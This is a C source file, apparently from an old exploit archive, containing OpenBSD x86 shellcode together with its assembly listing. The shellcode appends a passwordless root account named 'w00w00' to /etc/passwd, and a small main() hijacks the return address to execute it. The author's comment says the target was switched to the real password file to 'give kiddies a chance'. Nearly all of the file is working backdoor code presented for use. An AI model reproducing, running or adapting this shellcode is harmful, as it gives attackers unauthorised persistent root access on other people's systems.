home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / openbsd / pwd-append.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-08-28  |  1.6 KB  |  72 lines
  1. #include <string.h>
  2.  
  3. /* 
  4.    OpenBSD shellcode that adds an unpassworded root login
  5.    "w00w00" to /etc/passwd... Courtesy of w00w00.
  6.    (Changed from /tmp/passwd to /etc/passwd... give kiddies a chance ;)
  7.  */
  8.  
  9. /*
  10.     jmp 43
  11.     popl %esi
  12.     xorl %eax,%eax
  13.     movb %eax,11(%esi)
  14.     movb %eax,41(%esi)
  15.     pushl %eax
  16.     movb $9,%al
  17.     pushl %eax
  18.     xorl %eax,%eax
  19.     pushl %esi
  20.     pushl %eax
  21.     movb $0x5,%al
  22.     int $0x80
  23.  
  24.     movl %eax,%ebx
  25.     pushl $29
  26.     leal 12(%esi),%eax
  27.     pushl %eax
  28.     pushl %ebx
  29.     pushl %eax
  30.     xorl %eax,%eax
  31.     movb $0x4,%al
  32.     int $0x80
  33.  
  34.     xorl %eax,%eax
  35.     movb $0x1,%al
  36.     int $0x80
  37.   
  38.   chaine:
  39.       call   -48
  40.       .ascii \"/etc/passwd0\"
  41.       .ascii \"w00w00::0:0:w00w00:/:/bin/sh\n0\"  # 29
  42.       .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
  43.       .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
  44.       .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
  45.       .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
  46.       .byte 0x00
  47. */
  48.  
  49. char shell[]=
  50. "\xeb\x2b\x5e\x31\xc0\x88\x46\x0b"
  51. "\x88\x46\x29\x50\xb0\x09\x50\x31"
  52. "\xc0\x56\x50\xb0\x05\xcd\x80\x89"
  53. "\xc3\x6a\x1d\x8d\x46\x0c\x50\x53"
  54. "\x50\x31\xc0\xb0\x04\xcd\x80\x31"
  55. "\xc0\xb0\x01\xcd\x80\xe8\xd0\xff"
  56. "\xff\xff\x2f\x65\x74\x63\x2f\x70"
  57. "\x61\x73\x73\x77\x64\x30\x77\x30"
  58. "\x30\x77\x30\x30\x3a\x3a\x30\x3a"
  59. "\x30\x3a\x77\x30\x30\x77\x30\x30"
  60. "\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f"
  61. "\x73\x68\x0a\x30\xff\xff\xff\xff"
  62. "\xff\xff\xff\xff\xff\xff\xff\xff"
  63. "\xff\xff\xff\xff\xff\xff\xff\xff";
  64.  
  65. main()
  66. {
  67.    int *ret;
  68.    printf("\n%d\n",sizeof(shell));
  69.    ret=(int*)&ret+2;
  70.    (*ret)=(int)shell;
  71. }
  72.